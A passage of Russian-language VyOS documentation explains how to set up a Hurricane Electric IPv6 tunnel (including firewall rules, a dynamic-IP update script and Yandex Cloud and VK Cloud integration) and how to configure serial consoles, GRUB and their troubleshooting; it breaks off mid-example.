- Cloud VMs (Yandex Cloud, VK Cloud) для IPv6 connectivity
- Testing и development IPv6 приложений
- Dual-stack deployments

### Преимущества Hurricane Electric Tunnelbroker

- **Бесплатно**: Free IPv6 tunnel service
- **Глобальная сеть**: Tunnel endpoints по всему миру
- **/48 IPv6 блок**: Достаточно адресов для любой сети
- **BGP опция**: Для advanced users (собственный ASN)
- **Стабильность**: Hurricane Electric - tier 1 IPv6 provider

## Топология сети

```
                 Internet (IPv4)
                        │
                        │
                 ┌──────▼──────┐
                 │   VyOS      │
                 │   Router    │
                 │             │
      WAN ───────┤ eth0        │  Public IPv4: 203.0.113.1
                 │             │  (Dynamic DHCP)
                 │             │
                 │ tun0        │◄──── SIT Tunnel (6in4)
                 │             │      Local: 2001:470:1f1c:c8f::2/64
                 └──────┬──────┘      Remote: 2001:470:1f1c:c8f::1
                        │
                 ┌──────▼──────┐
                 │  LAN (IPv6) │
      eth1 ──────┤             │  2001:470:1f1d:c8f::1/64
                 │ Router Adv  │  (Routed /64)
                 └─────────────┘
                        │
                 ┌──────▼──────────┐
                 │  IPv6 Clients   │
                 │  (SLAAC)        │
                 └─────────────────┘
```

### Параметры конфигурации

Получите эти параметры после регистрации tunnel на https://tunnelbroker.net/

| Параметр | Значение (пример) | Описание |
|----------|-------------------|----------|
| **Server IPv4** | 216.66.86.114 | HE tunnel endpoint |
| **Client IPv4** | 203.0.113.1 | Ваш public IPv4 |
| **Server IPv6** | 2001:470:1f1c:c8f::1/64 | Tunnel remote address |
| **Client IPv6** | 2001:470:1f1c:c8f::2/64 | Tunnel local address |
| **Routed /64** | 2001:470:1f1d:c8f::/64 | Для вашей LAN |
| **Routed /48** | 2001:470:c8f::/48 | Опционально |

## Регистрация на Tunnelbroker.net

### 1. Создание аккаунта

1. Перейдите на https://tunnelbroker.net/
2. Нажмите **Register** → Заполните форму
3. Подтвердите email

### 2. Создание туннеля

1. После логина нажмите **Create Regular Tunnel**

2. Заполните форму:
   ```
   IPv4 Endpoint (Your side): 203.0.113.1
   (Ваш public IPv4 адрес)

   Available Tunnel Servers: Выберите ближайший
   (Например: Moscow, Russia для России)
   ```

3. После создания вы получите:
   - **Server IPv4 Address**: 216.66.86.114
   - **Server IPv6 Address**: 2001:470:1f1c:c8f::1/64
   - **Client IPv6 Address**: 2001:470:1f1c:c8f::2/64
   - **Routed IPv6 Prefixes**:
     - Routed /64: 2001:470:1f1d:c8f::/64
     - Routed /48: 2001:470:c8f::/48 (опционально)

4. На вкладке **Example Configurations** → выберите **VyOS** для reference

### 3. Важные замечания

- **Dynamic IP**: Если ваш IPv4 dynamic (DHCP), используйте **Update** кнопку или API для обновления endpoint
- **Firewall**: Убедитесь что разрешен Protocol 41 (IPv6-in-IPv4)
- **MTU**: Рекомендуется 1480 для tunnel interface

## Конфигурация VyOS

### Сценарий 1: Single LAN (Простая конфигурация)

#### Полная конфигурация

```bash
configure

# Системные настройки
set system host-name vyos-ipv6-gateway
set system time-zone Europe/Moscow

# ===== WAN Interface (получает IPv4 от провайдера) =====

# DHCP client на WAN
set interfaces ethernet eth0 address dhcp
set interfaces ethernet eth0 description 'WAN'

# ===== Hurricane Electric IPv6 Tunnel =====

# SIT tunnel (6in4)
set interfaces tunnel tun0 encapsulation 'sit'
set interfaces tunnel tun0 description 'HE.NET IPv6 Tunnel'
set interfaces tunnel tun0 source-address '203.0.113.1'
set interfaces tunnel tun0 remote '216.66.86.114'
set interfaces tunnel tun0 address '2001:470:1f1c:c8f::2/64'
set interfaces tunnel tun0 mtu '1480'

# ===== IPv6 Routing =====

# Default IPv6 route через tunnel
set protocols static route6 ::/0 interface tun0

# ===== LAN Interface (IPv6 для локальной сети) =====

# LAN с IPv6 из routed /64
set interfaces ethernet eth1 address '2001:470:1f1d:c8f::1/64'
set interfaces ethernet eth1 description 'LAN'

# IPv4 для dual-stack (опционально)
set interfaces ethernet eth1 address '192.168.1.1/24'

# ===== IPv6 Router Advertisement =====

# Enable Router Advertisement на LAN
set service router-advert interface eth1 prefix 2001:470:1f1d:c8f::/64

# DNS servers (HE и Google)
set service router-advert interface eth1 name-server '2001:470:20::2'
set service router-advert interface eth1 name-server '2001:4860:4860::8888'

# RA parameters
set service router-advert interface eth1 default-lifetime '10800'
set service router-advert interface eth1 max-interval '600'
set service router-advert interface eth1 reachable-time '0'
set service router-advert interface eth1 retrans-timer '0'

# ===== System DNS =====

# Добавить IPv6 DNS для самого роутера
set system name-server '2001:470:20::2'
set system name-server '2001:4860:4860::8888'

# IPv4 DNS (для dual-stack)
set system name-server '8.8.8.8'

# ===== Firewall для IPv6 (рекомендуется) =====

# Allow established/related
set firewall ipv6 name WAN6_LOCAL default-action 'drop'
set firewall ipv6 name WAN6_LOCAL rule 10 action 'accept'
set firewall ipv6 name WAN6_LOCAL rule 10 state established
set firewall ipv6 name WAN6_LOCAL rule 10 state related

# Allow ICMPv6
set firewall ipv6 name WAN6_LOCAL rule 20 action 'accept'
set firewall ipv6 name WAN6_LOCAL rule 20 protocol 'ipv6-icmp'

# Apply firewall
set interfaces tunnel tun0 firewall local ipv6-name 'WAN6_LOCAL'

# Firewall для WAN (разрешить Protocol 41)
set firewall name WAN_LOCAL default-action 'drop'
set firewall name WAN_LOCAL rule 10 action 'accept'
set firewall name WAN_LOCAL rule 10 state established
set firewall name WAN_LOCAL rule 10 state related
set firewall name WAN_LOCAL rule 20 action 'accept'
set firewall name WAN_LOCAL rule 20 protocol '41'
set firewall name WAN_LOCAL rule 20 description 'IPv6-in-IPv4'

set interfaces ethernet eth0 firewall local name 'WAN_LOCAL'

commit
save
```

### Сценарий 2: Multiple VLANs (Несколько сетей)

Использование /48 для множества подсетей:

```bash
configure

# Tunnel configuration (same as above)
set interfaces tunnel tun0 encapsulation 'sit'
set interfaces tunnel tun0 source-address '203.0.113.1'
set interfaces tunnel tun0 remote '216.66.86.114'
set interfaces tunnel tun0 address '2001:470:1f1c:c8f::2/64'
set protocols static route6 ::/0 interface tun0

# ===== VLAN 10 - Office Network =====
set interfaces ethernet eth1 vif 10 address '2001:470:c8f:10::1/64'
set interfaces ethernet eth1 vif 10 description 'Office VLAN'

set service router-advert interface eth1.10 prefix 2001:470:c8f:10::/64
set service router-advert interface eth1.10 name-server '2001:470:20::2'

# ===== VLAN 20 - Guest Network =====
set interfaces ethernet eth1 vif 20 address '2001:470:c8f:20::1/64'
set interfaces ethernet eth1 vif 20 description 'Guest VLAN'

set service router-advert interface eth1.20 prefix 2001:470:c8f:20::/64
set service router-advert interface eth1.20 name-server '2001:4860:4860::8888'

# ===== VLAN 30 - DMZ =====
set interfaces ethernet eth1 vif 30 address '2001:470:c8f:30::1/64'
set interfaces ethernet eth1 vif 30 description 'DMZ VLAN'

set service router-advert interface eth1.30 prefix 2001:470:c8f:30::/64
set service router-advert interface eth1.30 name-server '2001:470:20::2'

commit
save
```

### Сценарий 3: Dual-Stack (IPv4 + IPv6)

```bash
configure

# IPv6 tunnel (as above)
set interfaces tunnel tun0 encapsulation 'sit'
set interfaces tunnel tun0 source-address '203.0.113.1'
set interfaces tunnel tun0 remote '216.66.86.114'
set interfaces tunnel tun0 address '2001:470:1f1c:c8f::2/64'
set protocols static route6 ::/0 interface tun0

# ===== Dual-Stack LAN =====

# IPv4
set interfaces ethernet eth1 address '192.168.1.1/24'

# IPv6
set interfaces ethernet eth1 address '2001:470:1f1d:c8f::1/64'

# IPv4 DHCP Server
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 default-router '192.168.1.1'
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 name-server '192.168.1.1'
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 start '192.168.1.100'
set service dhcp-server shared-network-name LAN subnet 192.168.1.0/24 range 0 stop '192.168.1.200'

# IPv6 Router Advertisement (SLAAC)
set service router-advert interface eth1 prefix 2001:470:1f1d:c8f::/64
set service router-advert interface eth1 name-server '2001:470:20::2'

# IPv4 NAT
set nat source rule 100 outbound-interface name 'eth0'
set nat source rule 100 source address '192.168.1.0/24'
set nat source rule 100 translation address 'masquerade'

# DNS Forwarding (dual-stack)
set service dns forwarding listen-address '192.168.1.1'
set service dns forwarding listen-address '2001:470:1f1d:c8f::1'
set service dns forwarding name-server '8.8.8.8'
set service dns forwarding name-server '2001:4860:4860::8888'

commit
save
```

## Dynamic IP Update

### Проблема

Если ваш WAN IPv4 меняется (DHCP), tunnel перестанет работать.

### Решение 1: Tunnelbroker Update Script

```bash
# Создать update script
sudo vi /config/scripts/update-he-tunnel.sh
```

```bash
#!/bin/bash

# Hurricane Electric tunnel credentials
TUNNEL_ID="12345"
USERNAME="your-username"
PASSWORD="your-update-key"

# Get current public IP
CURRENT_IP=$(curl -s -4 ifconfig.me)

# Update tunnel endpoint
curl -s "https://ipv4.tunnelbroker.net/ixp/1000/update?username=${USERNAME}&password=${PASSWORD}&hostname=${TUNNEL_ID}&myip=${CURRENT_IP}"

echo "$(date): Updated HE tunnel endpoint to ${CURRENT_IP}"
```

```bash
# Make executable
sudo chmod +x /config/scripts/update-he-tunnel.sh

# Add to task scheduler (run every 5 minutes)
configure
set system task-scheduler task update-he-tunnel executable path '/config/scripts/update-he-tunnel.sh'
set system task-scheduler task update-he-tunnel interval '5m'
commit
save
```

### Решение 2: DDNS Integration

```bash
configure

# Use VyOS built-in DDNS с custom service
set service dns dynamic interface eth0 service he-tunnel protocol 'custom'
set service dns dynamic interface eth0 service he-tunnel host-name 'your-tunnel-id.tunnelbroker.net'
set service dns dynamic interface eth0 service he-tunnel username 'your-username'
set service dns dynamic interface eth0 service he-tunnel password 'your-update-key'
set service dns dynamic interface eth0 service he-tunnel server 'ipv4.tunnelbroker.net/ixp/1000'

commit
```

## Интеграция с облачными платформами

### Yandex Cloud IPv6 Connectivity

#### Topology

```
Hurricane Electric Tunnel
        │
        │ 6in4
        │
VyOS VM в Yandex Cloud
        │
Yandex Cloud VMs (IPv6)
```

#### Особенности

1. **VyOS VM в Yandex Cloud**:
   ```bash
   # Получить публичный IPv4 от Yandex Cloud
   # Настроить через Yandex Cloud Console или CLI

   # Yandex Cloud не предоставляет native IPv6 (пока)
   # Tunnelbroker решает эту проблему
   ```

2. **Конфигурация**:
   ```bash
   # WAN interface = Yandex Cloud network interface
   set interfaces ethernet eth0 address '10.128.0.10/24'

   # Получить public IP через metadata
   # Или использовать Elastic IP

   # Tunnel source = Yandex Cloud public IP
   set interfaces tunnel tun0 source-address '<yandex-cloud-public-ip>'
   ```

3. **Yandex Cloud routing**:
   ```bash
   # Добавить IPv6 routes через VyOS
   # В Yandex Cloud routing table:
   # ::/0 → 10.128.0.10 (VyOS internal IP)
   ```

4. **Security Groups**:
   ```bash
   # Разрешить Protocol 41 (IPv6-in-IPv4) на VyOS VM
   # Yandex Cloud Security Group rule:
   # Protocol: OTHER
   # Protocol number: 41
   # Source: 0.0.0.0/0
   ```

#### Yandex Cloud CLI

```bash
# Создать VM для VyOS
yc compute instance create \
  --name vyos-ipv6-gateway \
  --zone ru-central1-a \
  --network-interface subnet-name=default-ru-central1-a,nat-ip-version=ipv4 \
  --create-boot-disk image-folder-id=standard-images,image-family=vyos \
  --ssh-key ~/.ssh/id_rsa.pub

# Получить public IP
PUBLIC_IP=$(yc compute instance get vyos-ipv6-gateway --format json | jq -r '.network_interfaces[0].primary_v4_address.one_to_one_nat.address')

# Использовать этот IP для tunnel registration на tunnelbroker.net
echo "Use this IP for HE tunnel: ${PUBLIC_IP}"

# Настроить Security Group для Protocol 41
yc vpc security-group update-rules default-sg-ru-central1-a \
  --add-rule "direction=ingress,protocol=41,v4-cidrs=[0.0.0.0/0]"
```

### VK Cloud IPv6 Connectivity

#### Topology

```
Hurricane Electric Tunnel
        │
        │ 6in4
        │
VyOS VM в VK Cloud
        │
VK Cloud VMs (IPv6)
```

#### Особенности

1. **VyOS VM в VK Cloud**:
   ```bash
   # Floating IP от VK Cloud
   # VK Cloud также не имеет native IPv6 (пока)
   ```

2. **Конфигурация аналогична Yandex Cloud**

3. **Security Groups**:
   ```bash
   # VK Cloud portal → Security Groups
   # Добавить rule:
   # - Direction: Ingress
   # - Protocol: Custom
   # - Protocol Number: 41
   # - Remote: 0.0.0.0/0
   ```

## Проверка конфигурации

### 1. Проверка tunnel

```bash
# Проверить tunnel interface
show interfaces tunnel tun0

# Output должен показывать:
# tun0: <POINTOPOINT,NOARP,UP,LOWER_UP>
# inet6 2001:470:1f1c:c8f::2/64 scope global

# Ping HE tunnel endpoint (IPv6)
ping 2001:470:1f1c:c8f::1

# Ping Google IPv6 DNS
ping 2001:4860:4860::8888

# Traceroute через tunnel
traceroute6 google.com
```

### 2. Проверка IPv6 routing

```bash
# Проверить IPv6 routes
show ipv6 route

# Output должен включать:
# ::/0 via :: dev tun0, metric 1024
# 2001:470:1f1d:c8f::/64 dev eth1, metric 256

# Проверить IPv6 connectivity
ping6 ipv6.google.com
ping6 2a00:1450:4010:c0e::71
```

### 3. Проверка Router Advertisement

```bash
# На VyOS
show service router-advert

# На Linux client в LAN
# Проверить что получен IPv6 через SLAAC
ip -6 addr show

# Output должен показывать global IPv6:
# inet6 2001:470:1f1d:c8f:xxxx:xxxx:xxxx:xxxx/64 scope global dynamic

# Ping from client
ping6 google.com
```

### 4. Тест DNS

```bash
# На VyOS
nslookup -type=AAAA google.com

# На client
dig AAAA google.com @2001:470:20::2
```

### 5. Проверка на tunnelbroker.net

1. Login → **Your Tunnels** → выбрать tunnel
2. **Tunnel Details** должен показывать:
   - Status: Active
   - Endpoint: ваш current public IPv4
3. **Traffic** graphs покажут usage

## Troubleshooting

### Проблема: Tunnel не поднимается

**Симптомы**:
```bash
show interfaces tunnel tun0
# State: DOWN
```

**Решение**:

1. Проверить source IP:
```bash
# Убедиться что source-address соответствует вашему public IP
show interfaces tunnel tun0

# Проверить actual public IP
curl -4 ifconfig.me

# Update tunnel если нужно
set interfaces tunnel tun0 source-address '<correct-public-ip>'
commit
```

2. Проверить firewall:
```bash
# Protocol 41 должен быть разрешен
show firewall name WAN_LOCAL

# Добавить если отсутствует
set firewall name WAN_LOCAL rule 20 action 'accept'
set firewall name WAN_LOCAL rule 20 protocol '41'
commit
```

3. Проверить connectivity до HE endpoint:
```bash
# Ping IPv4 endpoint
ping 216.66.86.114
```

### Проблема: Tunnel UP, но нет IPv6 connectivity

**Решение**:

1. Проверить default route:
```bash
show ipv6 route
# Должен быть ::/0 через tun0

# Добавить если нет
set protocols static route6 ::/0 interface tun0
commit
```

2. Проверить DNS:
```bash
nslookup -type=AAAA google.com

# Если не резолвится, добавить IPv6 DNS
set system name-server '2001:4860:4860::8888'
commit
```

3. Ping test:
```bash
# Ping HE gateway
ping 2001:470:1f1c:c8f::1

# Ping external IPv6
ping 2001:4860:4860::8888
```

### Проблема: LAN clients не получают IPv6

**Решение**:

1. Проверить Router Advertisement:
```bash
show service router-advert

# Убедиться что настроен для LAN interface
show configuration commands | grep router-advert

# Должно быть:
# set service router-advert interface eth1 prefix ...
```

2. На Linux client проверить RA:
```bash
sudo rdisc6 eth0
# Должен показать RA от роутера
```

3. Проверить firewall:
```bash
# ICMPv6 должен быть разрешен для RA
show firewall ipv6

# Разрешить если нужно
set firewall ipv6 name WAN6_IN rule 10 action 'accept'
set firewall ipv6 name WAN6_IN rule 10 protocol 'ipv6-icmp'
commit
```

### Проблема: High latency или packet loss

**Решение**:

1. MTU optimization:
```bash
# Уменьшить MTU на tunnel
set interfaces tunnel tun0 mtu '1280'
commit

# MSS clamping для TCP
set interfaces tunnel tun0 ip adjust-mss '1240'
commit
```

2. Выбрать ближайший tunnel server:
```bash
# На tunnelbroker.net → Delete tunnel
# Create new tunnel с другим endpoint
# Выбрать geographic closer server
```

## Best Practices

### Security

1. **IPv6 Firewall обязателен**:
   ```bash
   # IPv6 - это не NAT, все devices публично доступны
   # Firewall критически важен

   set firewall ipv6 name LAN6_IN default-action 'drop'
   set firewall ipv6 name LAN6_IN rule 10 action 'accept'
   set firewall ipv6 name LAN6_IN rule 10 state established
   set firewall ipv6 name LAN6_IN rule 10 state related
   # Add specific allow rules
   ```

2. **Privacy Extensions**:
   ```bash
   # На clients enable IPv6 privacy extensions
   # Linux: net.ipv6.conf.all.use_tempaddr = 2
   # Windows: netsh interface ipv6 set privacy state=enabled
   ```

### Performance

1. **MTU Optimization**:
   ```bash
   # 1480 обычно оптимально для 6in4
   set interfaces tunnel tun0 mtu '1480'
   ```

2. **Близкий endpoint**:
   - Выбирайте geographic близкий HE tunnel server
   - Lower latency = better performance

### Monitoring

1. **Tunnel monitoring**:
   ```bash
   # Ping HE gateway каждую минуту
   # Alert если down

   #!/bin/bash
   while true; do
     ping6 -c 1 2001:470:1f1c:c8f::1 > /dev/null
     if [ $? -ne 0 ]; then
       echo "$(date): HE tunnel down!" | mail -s "IPv6 Alert" admin@example.com
     fi
     sleep 60
   done
   ```

2. **Traffic statistics**:
   ```bash
   show interfaces tunnel tun0
   # Проверять RX/TX bytes
   ```

## Дополнительные ресурсы

- [Hurricane Electric Tunnelbroker](https://tunnelbroker.net/)
- [HE IPv6 Certification](https://ipv6.he.net/certification/) - Бесплатные курсы по IPv6
- [VyOS IPv6 Documentation](https://docs.vyos.io/en/latest/configuration/interfaces/tunnel.html)
- [IPv6 Best Practices](/docs/vyos/system/vyos-ipv6/)

---

**Tested on**: VyOS 1.4 (Sagitta LTS), VyOS 1.5 (Circinus), Hurricane Electric Tunnelbroker
**Last updated**: 2025-10-14


---

# Console - Последовательная консоль

Source: https://opennix.org/docs/vyos/system/vyos-console/


## Обзор

Последовательная консоль (serial console) в VyOS предоставляет механизм для удаленного управления маршрутизатором через последовательный порт. Это особенно полезно в следующих сценариях:

- **Out-of-band управление**: Доступ к устройству независимо от состояния сетевых интерфейсов
- **Диагностика загрузки**: Мониторинг процесса загрузки системы и выявление проблем на ранних стадиях
- **Аварийное восстановление**: Доступ к системе при неработающей сетевой конфигурации
- **Облачные платформы**: Доступ к виртуальным машинам через веб-консоль облачного провайдера
- **Bare-metal серверы**: Управление физическими серверами через KVM или IPMI

Последовательная консоль не является необходимостью для обычных пользователей, но становится критически важной для системных администраторов, работающих с серверным оборудованием или облачными инфраструктурами.

## Поддерживаемые устройства консоли

VyOS поддерживает различные типы консольных устройств:

### Serial устройства (ttySN)

Стандартные последовательные порты, встроенные в серверное оборудование:

- `ttyS0` - Первый последовательный порт (COM1)
- `ttyS1` - Второй последовательный порт (COM2)
- `ttyS2` - Третий последовательный порт (COM3)
- `ttyS3` - Четвертый последовательный порт (COM4)

Эти порты обычно используются на физических серверах и некоторых виртуальных машинах.

### USB Serial устройства (ttyUSBX)

USB-to-serial адаптеры и конвертеры:

- `ttyUSB0` - Первый USB последовательный адаптер
- `ttyUSB1` - Второй USB последовательный адаптер
- `ttyUSBX` - Дополнительные USB адаптеры

USB адаптеры полезны для устройств без встроенных последовательных портов или при необходимости дополнительных консольных соединений.

### Виртуальные консоли

Специализированные консольные устройства для виртуализации:

- `hvc0` - Xen HVM console (для Xen виртуализации)

## Базовая конфигурация консоли

### Настройка последовательной консоли

Базовая конфигурация последовательной консоли на ttyS0 с настройками по умолчанию:

```bash
configure
set system console device ttyS0
commit
save
```

### Настройка скорости передачи (Baud Rate)

VyOS поддерживает следующие скорости передачи данных:

- 1200 bps
- 2400 bps
- 4800 bps
- 9600 bps (стандартная скорость)
- 19200 bps
- 38400 bps
- 57600 bps
- 115200 bps (высокая скорость, используется по умолчанию)

#### Пример: Консоль со скоростью 9600 bps

```bash
configure
set system console device ttyS0 speed 9600
commit
save
```

#### Пример: Консоль со скоростью 115200 bps

```bash
configure
set system console device ttyS0 speed 115200
commit
save
```

#### Пример: USB консоль со скоростью 38400 bps

```bash
configure
set system console device ttyUSB0 speed 38400
commit
save
```

### Рекомендации по выбору скорости

**9600 bps**:
- Наиболее совместимая скорость
- Рекомендуется для старого оборудования
- Минимальный риск ошибок передачи данных
- Медленная для больших объемов текста

**115200 bps**:
- Высокая скорость передачи данных
- Рекомендуется для современного оборудования
- Быстрый вывод логов и команд
- Может быть нестабильна на некачественных кабелях или USB адаптерах

**Золотая середина (38400-57600 bps)**:
- Оптимальный баланс скорости и стабильности
- Подходит для большинства сценариев
- Хорошая производительность при надежном соединении

## Ротация консолей (Console Rotation)

VyOS поддерживает настройку нескольких консольных устройств одновременно. Это полезно для резервирования или доступа через разные физические интерфейсы.

### Пример: Несколько последовательных консолей

```bash
configure

# Первая консоль на ttyS0 (основная)
set system console device ttyS0 speed 115200

# Вторая консоль на ttyS1 (резервная)
set system console device ttyS1 speed 115200

# USB консоль для локального доступа
set system console device ttyUSB0 speed 9600

commit
save
```

### Пример: Комбинация виртуальной и физической консоли

```bash
configure

# Xen виртуальная консоль (для облачной платформы)
set system console device hvc0 speed 115200

# Физическая последовательная консоль (для IPMI/KVM)
set system console device ttyS0 speed 115200

commit
save
```

## Конфигурация загрузочной консоли (Boot Console)

### GRUB Serial Console

Для доступа к загрузчику GRUB через последовательную консоль необходимо модифицировать конфигурацию GRUB. Это позволяет управлять процессом загрузки системы через serial порт.

#### Редактирование конфигурации GRUB

```bash
# Редактировать конфигурацию GRUB
sudo vi /boot/grub/grub.cfg
```

Добавьте следующие строки в начало файла (после заголовка):

```bash
serial --unit=0 --speed=115200 --word=8 --parity=no --stop=1
terminal_input serial console
terminal_output serial console
```

#### Параметры загрузки ядра

Убедитесь, что параметры загрузки ядра включают настройки консоли:

```bash
# Добавить к параметрам linux строки:
console=tty0 console=ttyS0,115200n8
```

Полный пример записи GRUB:

```bash
menuentry 'VyOS' {
    load_video
    insmod gzio
    insmod part_msdos
    insmod ext2
    set root='hd0,msdos1'
    echo 'Loading VyOS...'
    linux /boot/vmlinuz root=/dev/sda1 ro console=tty0 console=ttyS0,115200n8 quiet
    echo 'Loading initial ramdisk...'
    initrd /boot/initrd.img
}
```

#### Постоянная конфигурация GRUB

Для сохранения изменений при обновлениях системы, редактируйте файл конфигурации по умолчанию:

```bash
# Редактировать файл конфигурации по умолчанию
sudo vi /etc/default/grub
```

Добавьте или измените следующие параметры:

```bash
GRUB_CMDLINE_LINUX_DEFAULT="console=tty0 console=ttyS0,115200n8"
GRUB_SERIAL_COMMAND="serial --unit=0 --speed=115200 --word=8 --parity=no --stop=1"
GRUB_TERMINAL="serial console"
```

Обновите конфигурацию GRUB:

```bash
sudo update-grub
```

## Примеры для облачных платформ

### Yandex Cloud: Доступ через Serial Console

Yandex Cloud предоставляет доступ к последовательной консоли виртуальных машин через веб-интерфейс. VyOS в Yandex Cloud использует предварительно настроенную последовательную консоль.

#### Конфигурация VyOS для Yandex Cloud

Стандартная конфигурация для Yandex Cloud (обычно уже настроена в образе):

```bash
configure

# Настройка последовательной консоли для Yandex Cloud
set system console device ttyS0 speed 9600

commit
save
```

#### Доступ через веб-консоль Yandex Cloud

1. Откройте Yandex Cloud Console: https://console.cloud.yandex.ru
2. Перейдите в раздел "Compute Cloud"
3. Выберите виртуальную машину VyOS
4. Нажмите кнопку "Подключиться" и выберите "Serial Console"
5. В открывшемся терминале нажмите Enter для активации консоли

#### Доступ через Yandex Cloud CLI

```bash
# Подключение к serial console через CLI
yc compute instance serial-port-output <instance-id>

# Получение последних 1000 строк вывода
yc compute instance serial-port-output <instance-id> --lines 1000

# Интерактивное подключение (требует SSH ключ)
yc compute connect-to-serial-port --instance-id <instance-id>
```

#### Настройка логирования serial console в Yandex Cloud

```bash
configure

# Включить логирование системы
set system syslog global facility all level info

# Настроить консольный вывод
set system console device ttyS0 speed 9600

commit
save
```

#### Особенности Yandex Cloud Serial Console

- **Скорость**: Используйте 9600 bps для стабильной работы
- **Доступность**: Serial console доступна даже при проблемах с сетью
- **История**: Yandex Cloud сохраняет историю вывода консоли (до 64 КБ)
- **Безопасность**: Доступ к serial console требует прав на виртуальную машину

### VK Cloud: Serial Console для Bare-Metal серверов

VK Cloud (ранее Mail.ru Cloud Solutions) предоставляет доступ к последовательной консоли для bare-metal серверов через IPMI/KVM интерфейс.

#### Конфигурация VyOS для VK Cloud Bare-Metal

```bash
configure

# Настройка последовательной консоли
set system console device ttyS0 speed 115200

# Опционально: дополнительная консоль для резервирования
set system console device ttyS1 speed 115200

commit
save
```

#### Доступ через IPMI Console

1. Войдите в панель управления VK Cloud
2. Перейдите в раздел "Серверы" -> "Bare-metal"
3. Выберите сервер с VyOS
4. Нажмите "IPMI Console" или "KVM Console"
5. В открывшемся окне будет доступна последовательная консоль

#### Настройка для удаленного IPMI доступа

```bash
configure

# Настройка высокоскоростной консоли для IPMI
set system console device ttyS0 speed 115200

# Включить SSH для альтернативного доступа
set service ssh port 22
set service ssh listen-address 0.0.0.0

commit
save
```

#### IPMI Serial-over-LAN (SOL)

Для прямого доступа через IPMI Serial-over-LAN:

```bash
# С клиентской машины подключитесь к IPMI
ipmitool -I lanplus -H <ipmi-ip> -U <username> -P <password> sol activate
```

Конфигурация VyOS должна использовать скорость 115200 bps для SOL:

```bash
configure
set system console device ttyS0 speed 115200
commit
save
```

## Проверка конфигурации консоли

### Просмотр текущей конфигурации

```bash
# Показать конфигурацию системной консоли
show configuration system console

# Пример вывода:
# console {
#     device ttyS0 {
#         speed 115200
#     }
# }
```

### Проверка активных консольных устройств

```bash
# Показать активные TTY устройства
show system tty

# Альтернативный способ (в operational mode)
run show system tty
```

### Просмотр системных логов консоли

```bash
# Просмотр логов последовательной консоли
show log tail

# Поиск сообщений, связанных с консолью
show log | match console
```

### Тестирование консольного вывода

```bash
# Вывести тестовое сообщение в консоль
echo "Test message to console" | tee /dev/ttyS0

# Проверить работу консоли через dmesg
show system kernel-messages | match ttyS
```

### Проверка параметров последовательного порта

```bash
# Просмотр параметров последовательного порта (из operational mode)
run show interfaces serial ttyS0

# Детальная информация через stty (из shell)
sudo stty -F /dev/ttyS0 -a
```

## Устранение неполадок

### Проблема: Консоль не отвечает

**Симптомы**: Нет вывода на последовательную консоль после подключения.

**Решения**:

1. Проверьте настройки скорости (baud rate) на обоих концах соединения:

```bash
# Убедитесь, что скорость консоли соответствует терминальной программе
show configuration system console device ttyS0
```

2. Проверьте, что устройство активно:

```bash
# Проверка статуса устройства
run show system tty
```

3. Перезапустите getty для консоли:

```bash
# Из shell режима
sudo systemctl restart serial-getty@ttyS0.service
```

4. Проверьте физическое подключение кабеля (для bare-metal).

### Проблема: Искаженные символы на консоли

**Симптомы**: Вывод консоли содержит неправильные символы или нечитаемый текст.

**Причина**: Несовпадение настроек скорости, четности или битов данных.

**Решения**:

1. Установите стандартную скорость 9600 bps:

```bash
configure
set system console device ttyS0 speed 9600
commit
save
```

2. Проверьте параметры терминальной программы:
   - Data bits: 8
   - Parity: None
   - Stop bits: 1
   - Flow control: None (или Hardware)

3. Попробуйте другие скорости последовательно:

```bash
configure
set system console device ttyS0 speed 38400
commit
# Тестируйте консоль
# Если не работает, попробуйте другую скорость
set system console device ttyS0 speed 57600
commit
```

### Проблема: USB консоль не обнаруживается

**Симптомы**: USB-to-serial адаптер не отображается как ttyUSB0.

**Решения**:

1. Проверьте распознавание USB устройства:

```bash
# Проверить USB устройства
run show system usb

# Или через lsusb
lsusb
```

2. Проверьте загрузку драйверов:

```bash
# Проверить загруженные модули для USB serial
lsmod | grep usbserial
lsmod | grep ftdi
lsmod | grep pl2303
```

3. Проверьте dmesg для сообщений о USB:

```bash
run show system kernel-messages | match -i usb
run show system kernel-messages | match ttyUSB
```

4. Попробуйте другой USB порт или адаптер.

### Проблема: Консоль работает, но GRUB не отображается

**Симптомы**: VyOS консоль работает, но меню GRUB не видно при загрузке.

**Решение**: Настройте GRUB для вывода на последовательную консоль:

```bash
# Редактировать конфигурацию GRUB
sudo vi /etc/default/grub

# Добавить параметры:
GRUB_CMDLINE_LINUX_DEFAULT="console=tty0 console=ttyS0,115200n8"
GRUB_SERIAL_COMMAND="serial --unit=0 --speed=115200"
GRUB_TERMINAL="serial console"

# Обновить GRUB
sudo update-grub

# Перезагрузить систему
reboot now
```

### Проблема: Медленный вывод на консоль

**Симптомы**: Команды выполняются быстро, но вывод появляется медленно.

**Решения**:

1. Увеличьте скорость передачи:

```bash
configure
set system console device ttyS0 speed 115200
commit
save
```

2. Проверьте настройки flow control:

```bash
# Отключить flow control (в shell режиме)
sudo stty -F /dev/ttyS0 -crtscts -ixon -ixoff
```

3. Уменьшите объем вывода:

```bash
# Вместо полного show configuration
show configuration commands

# Используйте grep для фильтрации
show configuration | match interface
```

### Проблема: Консоль теряет соединение

**Симптомы**: Консольное соединение периодически обрывается.

**Решения**:

1. Для облачных платформ проверьте timeout настройки:

```bash
# Увеличить timeout для SSH сессий
configure
set service ssh client-keepalive-interval 60
commit
save
```

2. Для физических соединений:
   - Проверьте качество кабеля
   - Используйте экранированные кабели
   - Уменьшите скорость до 9600 bps

3. Настройте автоматический reconnect в терминальной программе.

## Лучшие практики

### Безопасность консоли

1. **Ограничение доступа к физической консоли**:

```bash
configure

# Настройте таймаут консольной сессии
set system login timeout 300

# Требуйте аутентификацию для консоли
set system console device ttyS0

commit
save
```

2. **Логирование консольных сессий**:

```bash
configure

# Включить аудит системных событий
set system syslog global facility auth level info
set system syslog global facility authpriv level info

# Отправка логов на удаленный сервер
set system syslog host 192.168.1.100 facility auth level info

commit
save
```

3. **Защита GRUB паролем** (опционально):

```bash
# Создать хеш пароля для GRUB
grub-mkpasswd-pbkdf2

# Добавить в /etc/grub.d/40_custom
set superusers="root"
password_pbkdf2 root <generated-hash>
```

### Производительность и надежность

1. **Выбор оптимальной скорости**:
   - Локальные соединения: 115200 bps
   - Облачные платформы: 9600-38400 bps
   - Длинные кабели: 9600-19200 bps

2. **Резервирование консолей**:

```bash
configure

# Настроить несколько консольных устройств
